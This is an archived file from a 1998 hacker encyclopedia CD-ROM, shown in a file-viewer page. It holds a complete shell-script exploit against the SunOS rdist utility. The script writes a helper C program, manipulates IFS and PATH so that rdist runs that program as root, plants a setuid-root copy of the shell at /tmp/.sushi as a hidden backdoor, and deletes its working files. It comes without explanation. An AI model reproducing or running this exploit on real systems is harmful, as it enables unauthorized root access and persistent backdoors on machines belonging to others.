home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sun_r000.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  350 b   |  23 lines

  1. #!/bin/sh
  2. cat << _EOF_ > distfile
  3. w0oTwO0T -> localhost
  4.   install /tmp/1 ;
  5.   notify user ;
  6. _EOF_
  7. cat << _EOF_ > usr.c
  8. main()
  9. {
  10.   setuid(0);
  11.   chown("/tmp/.sushi", 0, 0);
  12.   chmod("/tmp/.sushi", 04755);
  13.   exit(0);
  14. }
  15. _EOF_
  16. cp /bin/sh /tmp/.sushi
  17. cc -o usr usr.c
  18. PATH=.:$PATH
  19. IFS='/'
  20. export PATH IFS
  21. rdist
  22. rm -f usr usr.c distfile
  23.